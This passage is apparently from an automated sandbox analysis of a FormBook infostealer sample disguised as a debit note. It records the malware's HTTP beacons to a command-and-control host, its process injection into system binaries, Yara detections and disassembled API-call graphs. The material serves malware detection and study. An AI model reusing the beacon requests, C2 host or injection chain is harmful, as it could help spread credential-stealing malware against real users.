SeKSvYGmxdWxitT3GVEdEZiJSb48EI9HQ8nlIySNZ+cG3U281Nwt6aq0DaxAh3nNXBZs6poq [TRUNCATED]
                                        Sep 19, 2024 15:06:23.795068026 CEST980INHTTP/1.1 404 Not Found
                                        Date: Thu, 19 Sep 2024 13:06:23 GMT
                                        Server: Apache
                                        X-Frame-Options: SAMEORIGIN
                                        Content-Length: 774
                                        X-XSS-Protection: 1; mode=block
                                        Connection: close
                                        Content-Type: text/html
                                        Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0d 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 0d 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 52 6f 62 6f 74 6f 3a 34 30 30 2c 37 30 30 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 74 79 70 65 3d 22 74 65 78 [TRUNCATED]
                                        Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><title>404 Not Found</title><link href="https://fonts.googleapis.com/css?family=Roboto:400,700" rel="stylesheet"><link type="text/css" rel="stylesheet" href="/css/style404.css" /></head><body><div id="notfound"><div class="notfound"><div class="notfound-404"><h1>4<span>0</span>4</h1></div><h2>the page you requested could not found</h2><form class="notfound-search"><input type="text" placeholder="Search..."><button type="button"><span></span></button></form></div></div></body></html>


                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                        28192.168.2.449766199.192.21.16980932C:\Program Files (x86)\ZTrSozSWRqvZnnRbCkpCHiOfkZhEZRaCrdDNKEhghmBlaOOBvvdOe\WrtyZOtiIHMYio.exe
                                        TimestampBytes transferredDirectionData
                                        Sep 19, 2024 15:06:25.741195917 CEST503OUTGET /85su/?GR=+3B6fjGs9Z40sbhWxh4Olw8ODpxTfKIF4isjbFYKdetJPWg+iKgIwujGEU5yKjzj4BkeFS8xvi4EjdbOtsLgFdPJH1ajNMdDlKenjZRhD3fwrVi0trMy8bo=&Xf=4Zt4tvDx HTTP/1.1
                                        Host: www.selftip.top
                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                        Accept-Language: en-us
                                        Connection: close
                                        User-Agent: Mozilla/4.0 (compatible; MSIE 11.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
                                        Sep 19, 2024 15:06:26.392689943 CEST995INHTTP/1.1 404 Not Found
                                        Date: Thu, 19 Sep 2024 13:06:26 GMT
                                        Server: Apache
                                        X-Frame-Options: SAMEORIGIN
                                        Content-Length: 774
                                        X-XSS-Protection: 1; mode=block
                                        Connection: close
                                        Content-Type: text/html; charset=utf-8
                                        Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0d 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 0d 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 52 6f 62 6f 74 6f 3a 34 30 30 2c 37 30 30 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 74 79 70 65 3d 22 74 65 78 [TRUNCATED]
                                        Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><title>404 Not Found</title><link href="https://fonts.googleapis.com/css?family=Roboto:400,700" rel="stylesheet"><link type="text/css" rel="stylesheet" href="/css/style404.css" /></head><body><div id="notfound"><div class="notfound"><div class="notfound-404"><h1>4<span>0</span>4</h1></div><h2>the page you requested could not found</h2><form class="notfound-search"><input type="text" placeholder="Search..."><button type="button"><span></span></button></form></div></div></body></html>


                                        Statistics

                                        CPU Usage

                                        Click to jump to process

                                        Memory Usage

                                        Click to jump to process

                                        High Level Behavior Distribution

                                        Click to dive into process behavior distribution

                                        Behavior

                                        Click to jump to process

                                        System Behavior

                                        General

                                        Target ID:0
                                        Start time:09:03:21
                                        Start date:19/09/2024
                                        Path:C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exe
                                        Wow64 process (32bit):true
                                        Commandline:"C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exe"
                                        Imagebase:0x400000
                                        File size:1'404'627 bytes
                                        MD5 hash:2EE34A406A8317793492EEC957B463A1
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Reputation:low
                                        Has exited:true

                                        General

                                        Target ID:1
                                        Start time:09:03:21
                                        Start date:19/09/2024
                                        Path:C:\Windows\SysWOW64\svchost.exe
                                        Wow64 process (32bit):true
                                        Commandline:"C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exe"
                                        Imagebase:0x750000
                                        File size:46'504 bytes
                                        MD5 hash:1ED18311E3DA35942DB37D15FA40CC5B
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Yara matches:
                                        • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000001.00000002.2071101630.0000000003A90000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
                                        • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000001.00000002.2071101630.0000000003A90000.00000040.10000000.00040000.00000000.sdmp, Author: unknown
                                        • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000001.00000002.2071483262.0000000006000000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
                                        • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000001.00000002.2071483262.0000000006000000.00000040.10000000.00040000.00000000.sdmp, Author: unknown
                                        • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000001.00000002.2070755438.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                        • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000001.00000002.2070755438.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
                                        Reputation:high
                                        Has exited:true

                                        General

                                        Target ID:5
                                        Start time:09:03:54
                                        Start date:19/09/2024
                                        Path:C:\Program Files (x86)\ZTrSozSWRqvZnnRbCkpCHiOfkZhEZRaCrdDNKEhghmBlaOOBvvdOe\WrtyZOtiIHMYio.exe
                                        Wow64 process (32bit):true
                                        Commandline:"C:\Program Files (x86)\ZTrSozSWRqvZnnRbCkpCHiOfkZhEZRaCrdDNKEhghmBlaOOBvvdOe\WrtyZOtiIHMYio.exe"
                                        Imagebase:0x680000
                                        File size:140'800 bytes
                                        MD5 hash:32B8AD6ECA9094891E792631BAEA9717
                                        Has elevated privileges:false
                                        Has administrator privileges:false
                                        Programmed in:C, C++ or other language
                                        Yara matches:
                                        • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000005.00000002.3518593623.00000000041E0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                                        • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000005.00000002.3518593623.00000000041E0000.00000040.00000001.00040000.00000000.sdmp, Author: unknown
                                        Reputation:high
                                        Has exited:false

                                        General

                                        Target ID:6
                                        Start time:09:03:55
                                        Start date:19/09/2024
                                        Path:C:\Windows\SysWOW64\TapiUnattend.exe
                                        Wow64 process (32bit):true
                                        Commandline:"C:\Windows\SysWOW64\TapiUnattend.exe"
                                        Imagebase:0x310000
                                        File size:12'800 bytes
                                        MD5 hash:D5BFFD755F566AAACB57CF83FDAA5CD0
                                        Has elevated privileges:false
                                        Has administrator privileges:false
                                        Programmed in:C, C++ or other language
                                        Yara matches:
                                        • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000006.00000002.3518667344.0000000002AB0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                        • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000006.00000002.3518667344.0000000002AB0000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
                                        • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000006.00000002.3518738076.0000000002B00000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                        • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000006.00000002.3518738076.0000000002B00000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
                                        • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000006.00000002.3517293511.0000000002690000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                        • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000006.00000002.3517293511.0000000002690000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
                                        Reputation:moderate
                                        Has exited:false

                                        General

                                        Target ID:7
                                        Start time:09:04:10
                                        Start date:19/09/2024
                                        Path:C:\Program Files (x86)\ZTrSozSWRqvZnnRbCkpCHiOfkZhEZRaCrdDNKEhghmBlaOOBvvdOe\WrtyZOtiIHMYio.exe
                                        Wow64 process (32bit):true
                                        Commandline:"C:\Program Files (x86)\ZTrSozSWRqvZnnRbCkpCHiOfkZhEZRaCrdDNKEhghmBlaOOBvvdOe\WrtyZOtiIHMYio.exe"
                                        Imagebase:0x680000
                                        File size:140'800 bytes
                                        MD5 hash:32B8AD6ECA9094891E792631BAEA9717
                                        Has elevated privileges:false
                                        Has administrator privileges:false
                                        Programmed in:C, C++ or other language
                                        Yara matches:
                                        • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000007.00000002.3520663575.0000000004BE0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                        • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000007.00000002.3520663575.0000000004BE0000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
                                        Reputation:high
                                        Has exited:false

                                        General

                                        Target ID:8
                                        Start time:09:04:23
                                        Start date:19/09/2024
                                        Path:C:\Program Files\Mozilla Firefox\firefox.exe
                                        Wow64 process (32bit):false
                                        Commandline:"C:\Program Files\Mozilla Firefox\Firefox.exe"
                                        Imagebase:0x7ff6bf500000
                                        File size:676'768 bytes
                                        MD5 hash:C86B1BE9ED6496FE0E0CBE73F81D8045
                                        Has elevated privileges:false
                                        Has administrator privileges:false
                                        Programmed in:C, C++ or other language
                                        Reputation:high
                                        Has exited:true

                                        Disassembly

                                        Reset < >

                                          Execution Graph

                                          Execution Coverage:3.5%
                                          Dynamic/Decrypted Code Coverage:0.4%
                                          Signature Coverage:8.8%
                                          Total number of Nodes:1999
                                          Total number of Limit Nodes:37
                                          execution_graph 84246 4010e0 84249 401100 84246->84249 84248 4010f8 84250 401113 84249->84250 84252 401120 84250->84252 84253 401184 84250->84253 84254 40114c 84250->84254 84280 401182 84250->84280 84251 40112c DefWindowProcW 84251->84248 84252->84251 84294 401000 Shell_NotifyIconW __crtGetStringTypeA_stat 84252->84294 84287 401250 61 API calls __crtGetStringTypeA_stat 84253->84287 84256 401151 84254->84256 84257 40119d 84254->84257 84261 401219 84256->84261 84262 40115d 84256->84262 84259 4011a3 84257->84259 84260 42afb4 84257->84260 84258 401193 84258->84248 84259->84252 84271 4011b6 KillTimer 84259->84271 84272 4011db SetTimer RegisterWindowMessageW 84259->84272 84289 40f190 10 API calls 84260->84289 84261->84252 84263 401225 84261->84263 84266 401163 84262->84266 84267 42b01d 84262->84267 84305 468b0e 74 API calls __crtGetStringTypeA_stat 84263->84305 84268 42afe9 84266->84268 84269 40116c 84266->84269 84267->84251 84293 4370f4 52 API calls 84267->84293 84291 40f190 10 API calls 84268->84291 84269->84252 84273 401174 84269->84273 84270 42b04f 84295 40e0c0 84270->84295 84288 401000 Shell_NotifyIconW __crtGetStringTypeA_stat 84271->84288 84272->84258 84278 401204 CreatePopupMenu 84272->84278 84290 45fd57 65 API calls __crtGetStringTypeA_stat 84273->84290 84278->84248 84280->84251 84281 42afe4 84281->84258 84282 42b00e 84292 401a50 331 API calls 84282->84292 84283 4011c9 PostQuitMessage 84283->84248 84286 42afdc 84286->84251 84286->84281 84287->84258 84288->84283 84289->84258 84290->84286 84291->84282 84292->84280 84293->84280 84294->84270 84297 40e0e7 __crtGetStringTypeA_stat 84295->84297 84296 40e142 84298 40e184 84296->84298 84328 4341e6 63 API calls __wcsicoll 84296->84328 84297->84296 84299 42729f DestroyIcon 84297->84299 84301 40e1a0 Shell_NotifyIconW 84298->84301 84302 4272db Shell_NotifyIconW 84298->84302 84299->84296 84306 401b80 84301->84306 84304 40e1ba 84304->84280 84305->84281 84307 401b9c 84306->84307 84327 401c7e 84306->84327 84329 4013c0 84307->84329 84310 42722b LoadStringW 84313 427246 84310->84313 84311 401bb9 84334 402160 84311->84334 84348 40e0a0 84313->84348 84314 401bcd 84315 427258 84314->84315 84316 401bda 84314->84316 84352 40d200 52 API calls 2 library calls 84315->84352 84316->84313 84318 401be4 84316->84318 84347 40d200 52 API calls 2 library calls 84318->84347 84321 427267 84322 42727b 84321->84322 84324 401bf3 _wcscpy __crtGetStringTypeA_stat _wcsncpy 84321->84324 84353 40d200 52 API calls 2 library calls 84322->84353 84326 401c62 Shell_NotifyIconW 84324->84326 84325 427289 84326->84327 84327->84304 84328->84298 84354 4115d7 84329->84354 84335 426daa 84334->84335 84336 40216b _wcslen 84334->84336 84392 40c600 84335->84392 84339 402180 84336->84339 84340 40219e 84336->84340 84338 426db5 84338->84314 84391 403bd0 52 API calls ctype 84339->84391 84342 4013a0 52 API calls 84340->84342 84344 4021a5 84342->84344 84343 402187 _memmove 84343->84314 84345 426db7 84344->84345 84346 4115d7 52 API calls 84344->84346 84346->84343 84347->84324 84349 40e0b2 84348->84349 84350 40e0a8 84348->84350 84349->84324 84404 403c30 52 API calls _memmove 84350->84404 84352->84321 84353->84325 84356 4115e1 _malloc 84354->84356 84357 4013e4 84356->84357 84361 4115fd std::exception::exception 84356->84361 84368 4135bb 84356->84368 84365 4013a0 84357->84365 84358 41163b 84383 4180af 46 API calls std::exception::operator= 84358->84383 84360 411645 84384 418105 RaiseException 84360->84384 84361->84358 84382 41130a 51 API calls __cinit 84361->84382 84364 411656 84366 4115d7 52 API calls 84365->84366 84367 4013a7 84366->84367 84367->84310 84367->84311 84369 413638 _malloc 84368->84369 84378 4135c9 _malloc 84368->84378 84390 417f77 46 API calls __getptd_noexit 84369->84390 84372 4135f7 RtlAllocateHeap 84372->84378 84381 413630 84372->84381 84374 413624 84388 417f77 46 API calls __getptd_noexit 84374->84388 84377 4135d4 84377->84378 84385 418901 46 API calls 2 library calls 84377->84385 84386 418752 46 API calls 8 library calls 84377->84386 84387 411682 GetModuleHandleW GetProcAddress ExitProcess ___crtCorExitProcess 84377->84387 84378->84372 84378->84374 84378->84377 84379 413622 84378->84379 84389 417f77 46 API calls __getptd_noexit 84379->84389 84381->84356 84382->84358 84383->84360 84384->84364 84385->84377 84386->84377 84388->84379 84389->84381 84390->84381 84391->84343 84393 40c619 84392->84393 84394 40c60a 84392->84394 84393->84338 84394->84393 84397 4026f0 84394->84397 84396 426d7a _memmove 84396->84338 84398 426873 84397->84398 84399 4026ff 84397->84399 84400 4013a0 52 API calls 84398->84400 84399->84396 84401 42687b 84400->84401 84402 4115d7 52 API calls 84401->84402 84403 42689e _memmove 84402->84403 84403->84396 84404->84349 84405 40bd20 84406 428194 84405->84406 84414 40bd2d 84405->84414 84407 40bd43 84406->84407 84408 4281bc 84406->84408 84410 4281b2 84406->84410 84427 45e987 86 API calls ctype 84408->84427 84426 40b510 VariantClear 84410->84426 84415 40bd37 84414->84415 84428 4531b1 85 API calls 5 library calls 84414->84428 84417 40bd50 84415->84417 84416 4281ba 84418 426cf1 84417->84418 84419 40bd63 84417->84419 84438 44cde9 52 API calls _memmove 84418->84438 84429 40bd80 84419->84429 84422 40bd73 84422->84407 84423 426cfc 84424 40e0a0 52 API calls 84423->84424 84425 426d02 84424->84425 84426->84416 84427->84414 84428->84415 84430 40bd8e 84429->84430 84437 40bdb7 _memmove 84429->84437 84431 40bded 84430->84431 84432 40bdad 84430->84432 84430->84437 84434 4115d7 52 API calls 84431->84434 84439 402f00 84432->84439 84435 40bdf6 84434->84435 84436 4115d7 52 API calls 84435->84436 84435->84437 84436->84437 84437->84422 84438->84423 84440 402f10 84439->84440 84441 402f0c 84439->84441 84442 4115d7 52 API calls 84440->84442 84443 4268c3 84440->84443 84441->84437 84444 402f51 ctype _memmove 84442->84444 84444->84437 84445 425ba2 84450 40e360 84445->84450 84447 425bb4 84466 41130a 51 API calls __cinit 84447->84466 84449 425bbe 84451 4115d7 52 API calls 84450->84451 84452 40e3ec GetModuleFileNameW 84451->84452 84467 413a0e 84452->84467 84454 40e421 _wcsncat 84470 413a9e 84454->84470 84457 4115d7 52 API calls 84458 40e45e _wcscpy 84457->84458 84473 40bc70 84458->84473 84462 40e4a9 84462->84447 84463 401c90 52 API calls 84465 40e4a1 _wcscat _wcslen _wcsncpy 84463->84465 84464 4115d7 52 API calls 84464->84465 84465->84462 84465->84463 84465->84464 84466->84449 84492 413801 84467->84492 84522 419efd 84470->84522 84474 4115d7 52 API calls 84473->84474 84475 40bc98 84474->84475 84476 4115d7 52 API calls 84475->84476 84477 40bca6 84476->84477 84478 40e4c0 84477->84478 84534 403350 84478->84534 84480 40e4cb RegOpenKeyExW 84481 427190 RegQueryValueExW 84480->84481 84482 40e4eb 84480->84482 84483 4271b0 84481->84483 84484 42721a RegCloseKey 84481->84484 84482->84465 84485 4115d7 52 API calls 84483->84485 84484->84465 84486 4271cb 84485->84486 84541 43652f 52 API calls 84486->84541 84488 4271d8 RegQueryValueExW 84489 4271f7 84488->84489 84491 42720e 84488->84491 84490 402160 52 API calls 84489->84490 84490->84491 84491->84484 84493 41389e 84492->84493 84500 41381a 84492->84500 84494 4139e8 84493->84494 84496 413a00 84493->84496 84519 417f77 46 API calls __getptd_noexit 84494->84519 84521 417f77 46 API calls __getptd_noexit 84496->84521 84497 4139ed 84520 417f25 10 API calls __stricmp_l 84497->84520 84500->84493 84505 41388a 84500->84505 84514 419e30 46 API calls __stricmp_l 84500->84514 84502 41396c 84502->84493 84503 413967 84502->84503 84506 41397a 84502->84506 84503->84454 84504 413929 84504->84493 84507 413945 84504->84507 84516 419e30 46 API calls __stricmp_l 84504->84516 84505->84493 84513 413909 84505->84513 84515 419e30 46 API calls __stricmp_l 84505->84515 84518 419e30 46 API calls __stricmp_l 84506->84518 84507->84493 84507->84503 84510 41395b 84507->84510 84517 419e30 46 API calls __stricmp_l 84510->84517 84513->84502 84513->84504 84514->84505 84515->84513 84516->84507 84517->84503 84518->84503 84519->84497 84520->84503 84521->84503 84523 419f13 84522->84523 84524 419f0e 84522->84524 84531 417f77 46 API calls __getptd_noexit 84523->84531 84524->84523 84529 419f2b 84524->84529 84526 419f18 84532 417f25 10 API calls __stricmp_l 84526->84532 84528 40e454 84528->84457 84529->84528 84533 417f77 46 API calls __getptd_noexit 84529->84533 84531->84526 84532->84528 84533->84526 84535 403367 84534->84535 84536 403358 84534->84536 84537 4115d7 52 API calls 84535->84537 84536->84480 84538 403370 84537->84538 84539 4115d7 52 API calls 84538->84539 84540 40339e 84539->84540 84540->84480 84541->84488 84542 416454 84579 416c70 84542->84579 84544 416460 GetStartupInfoW 84546 416474 84544->84546 84580 419d5a HeapCreate 84546->84580 84547 4164cd 84548 4164d8 84547->84548 84664 41642b 46 API calls 3 library calls 84547->84664 84581 417c20 GetModuleHandleW 84548->84581 84551 4164de 84552 4164e9 __RTC_Initialize 84551->84552 84665 41642b 46 API calls 3 library calls 84551->84665 84600 41aaa1 GetStartupInfoW 84552->84600 84556 416503 GetCommandLineW 84613 41f584 GetEnvironmentStringsW 84556->84613 84560 416513 84619 41f4d6 GetModuleFileNameW 84560->84619 84562 41651d 84563 416528 84562->84563 84667 411924 46 API calls 3 library calls 84562->84667 84623 41f2a4 84563->84623 84566 41652e 84567 416539 84566->84567 84668 411924 46 API calls 3 library calls 84566->84668 84637 411703 84567->84637 84570 416541 84572 41654c __wwincmdln 84570->84572 84669 411924 46 API calls 3 library calls 84570->84669 84641 40d6b0 84572->84641 84575 41657c 84671 411906 46 API calls _doexit 84575->84671 84578 416581 __mtinitlocknum 84579->84544 84580->84547 84582 417c34 84581->84582 84583 417c3d GetProcAddress GetProcAddress GetProcAddress GetProcAddress 84581->84583 84672 4178ff 49 API calls _free 84582->84672 84587 417c87 TlsAlloc 84583->84587 84585 417c39 84585->84551 84588 417cd5 TlsSetValue 84587->84588 84589 417d96 84587->84589 84588->84589 84590 417ce6 __init_pointers 84588->84590 84589->84551 84673 418151 InitializeCriticalSectionAndSpinCount 84590->84673 84592 417d91 84681 4178ff 49 API calls _free 84592->84681 84594 417d2a 84594->84592 84674 416b49 84594->84674 84597 417d76 84680 41793c 46 API calls 4 library calls 84597->84680 84599 417d7e GetCurrentThreadId 84599->84589 84601 416b49 __calloc_crt 46 API calls 84600->84601 84610 41aabf 84601->84610 84602 41ac6a GetStdHandle 84607 41ac34 84602->84607 84603 416b49 __calloc_crt 46 API calls 84603->84610 84604 41acce SetHandleCount 84612 4164f7 84604->84612 84605 41ac7c GetFileType 84605->84607 84606 41abb4 84606->84607 84608 41abe0 GetFileType 84606->84608 84609 41abeb InitializeCriticalSectionAndSpinCount 84606->84609 84607->84602 84607->84604 84607->84605 84611 41aca2 InitializeCriticalSectionAndSpinCount 84607->84611 84608->84606 84608->84609 84609->84606 84609->84612 84610->84603 84610->84606 84610->84607 84610->84612 84611->84607 84611->84612 84612->84556 84666 411924 46 API calls 3 library calls 84612->84666 84614 41f595 84613->84614 84615 41f599 84613->84615 84614->84560 84691 416b04 84615->84691 84617 41f5bb _memmove 84618 41f5c2 FreeEnvironmentStringsW 84617->84618 84618->84560 84620 41f50b _wparse_cmdline 84619->84620 84621 416b04 __malloc_crt 46 API calls 84620->84621 84622 41f54e _wparse_cmdline 84620->84622 84621->84622 84622->84562 84624 41f2bc _wcslen 84623->84624 84627 41f2b4 84623->84627 84625 416b49 __calloc_crt 46 API calls 84624->84625 84626 41f2e0 _wcslen 84625->84626 84626->84627 84628 41f336 84626->84628 84630 416b49 __calloc_crt 46 API calls 84626->84630 84631 41f35c 84626->84631 84634 41f373 84626->84634 84697 41ef12 46 API calls __stricmp_l 84626->84697 84627->84566 84698 413748 84628->84698 84630->84626 84633 413748 _free 46 API calls 84631->84633 84633->84627 84704 417ed3 84634->84704 84636 41f37f 84636->84566 84638 411711 __initterm_e __initp_misc_cfltcvt_tab __IsNonwritableInCurrentImage 84637->84638 84640 411750 __IsNonwritableInCurrentImage 84638->84640 84723 41130a 51 API calls __cinit 84638->84723 84640->84570 84642 42e2f3 84641->84642 84643 40d6cc 84641->84643 84724 408f40 84643->84724 84645 40d707 84728 40ebb0 84645->84728 84648 40d737 84731 411951 84648->84731 84653 40d751 84743 40f4e0 SystemParametersInfoW SystemParametersInfoW 84653->84743 84655 40d75f 84744 40d590 GetCurrentDirectoryW 84655->84744 84657 40d767 SystemParametersInfoW 84658 40d794 84657->84658 84659 40d78d FreeLibrary 84657->84659 84660 408f40 VariantClear 84658->84660 84659->84658 84661 40d79d 84660->84661 84662 408f40 VariantClear 84661->84662 84663 40d7a6 84662->84663 84663->84575 84670 4118da 46 API calls _doexit 84663->84670 84664->84548 84665->84552 84670->84575 84671->84578 84672->84585 84673->84594 84676 416b52 84674->84676 84677 416b8f 84676->84677 84678 416b70 Sleep 84676->84678 84682 41f677 84676->84682 84677->84592 84677->84597 84679 416b85 84678->84679 84679->84676 84679->84677 84680->84599 84681->84589 84683 41f683 84682->84683 84684 41f69e _malloc 84682->84684 84683->84684 84685 41f68f 84683->84685 84686 41f6b1 HeapAlloc 84684->84686 84688 41f6d8 84684->84688 84690 417f77 46 API calls __getptd_noexit 84685->84690 84686->84684 84686->84688 84688->84676 84689 41f694 84689->84676 84690->84689 84692 416b0d 84691->84692 84693 4135bb _malloc 45 API calls 84692->84693 84694 416b43 84692->84694 84695 416b24 Sleep 84692->84695 84693->84692 84694->84617 84696 416b39 84695->84696 84696->84692 84696->84694 84697->84626 84699 41377c __dosmaperr 84698->84699 84700 413753 RtlFreeHeap 84698->84700 84699->84627 84700->84699 84701 413768 84700->84701 84707 417f77 46 API calls __getptd_noexit 84701->84707 84703 41376e GetLastError 84703->84699 84708 417daa 84704->84708 84707->84703 84710 417dc9 __crtGetStringTypeA_stat __call_reportfault 84708->84710 84709 417de7 IsDebuggerPresent SetUnhandledExceptionFilter UnhandledExceptionFilter 84711 417eb5 __call_reportfault 84709->84711 84710->84709 84714 41a208 84711->84714 84713 417ed1 GetCurrentProcess TerminateProcess 84713->84636 84715 41a210 84714->84715 84716 41a212 IsDebuggerPresent 84714->84716 84715->84713 84722 41fe19 84716->84722 84719 421fd3 SetUnhandledExceptionFilter UnhandledExceptionFilter 84720 421ff0 __call_reportfault 84719->84720 84721 421ff8 GetCurrentProcess TerminateProcess 84719->84721 84720->84721 84721->84713 84722->84719 84723->84640 84727 408f48 ctype 84724->84727 84725 4265c7 VariantClear 84726 408f55 ctype 84725->84726 84726->84645 84727->84725 84727->84726 84784 40ebd0 84728->84784 84788 4182cb 84731->84788 84733 41195e 84795 4181f2 LeaveCriticalSection 84733->84795 84735 40d748 84736 4119b0 84735->84736 84737 4119d6 84736->84737 84738 4119bc 84736->84738 84737->84653 84738->84737 84830 417f77 46 API calls __getptd_noexit 84738->84830 84740 4119c6 84831 417f25 10 API calls __stricmp_l 84740->84831 84742 4119d1 84742->84653 84743->84655 84832 401f20 84744->84832 84746 40d5b6 IsDebuggerPresent 84747 40d5c4 84746->84747 84748 42e1bb MessageBoxA 84746->84748 84749 42e1d4 84747->84749 84750 40d5e3 84747->84750 84748->84749 85004 403a50 52 API calls 3 library calls 84749->85004 84902 40f520 84750->84902 84754 40d5fd GetFullPathNameW 84914 401460 84754->84914 84756 40d63b 84757 40d643 84756->84757 84758 42e231 SetCurrentDirectoryW 84756->84758 84759 40d64c 84757->84759 85005 432fee 6 API calls 84757->85005 84758->84757 84929 410390 GetSysColorBrush LoadCursorW LoadIconW LoadIconW LoadIconW 84759->84929 84762 42e252 84762->84759 84764 42e25a GetModuleFileNameW 84762->84764 84766 42e274 84764->84766 84767 42e2cb GetForegroundWindow ShellExecuteW 84764->84767 85006 401b10 84766->85006 84770 40d688 84767->84770 84768 40d656 84769 40d669 84768->84769 84772 40e0c0 74 API calls 84768->84772 84937 4091e0 84769->84937 84776 40d692 SetCurrentDirectoryW 84770->84776 84772->84769 84776->84657 84778 42e28d 85013 40d200 52 API calls 2 library calls 84778->85013 84781 42e299 GetForegroundWindow ShellExecuteW 84782 42e2c6 84781->84782 84782->84770 84783 40ec00 LoadLibraryA GetProcAddress 84783->84648 84785 40d72e 84784->84785 84786 40ebd6 LoadLibraryA 84784->84786 84785->84648 84785->84783 84786->84785 84787 40ebe7 GetProcAddress 84786->84787 84787->84785 84789 4182e0 84788->84789 84790 4182f3 EnterCriticalSection 84788->84790 84796 418209 84789->84796 84790->84733 84792 4182e6 84792->84790 84823 411924 46 API calls 3 library calls 84792->84823 84795->84735 84797 418215 __mtinitlocknum 84796->84797 84798 418225 84797->84798 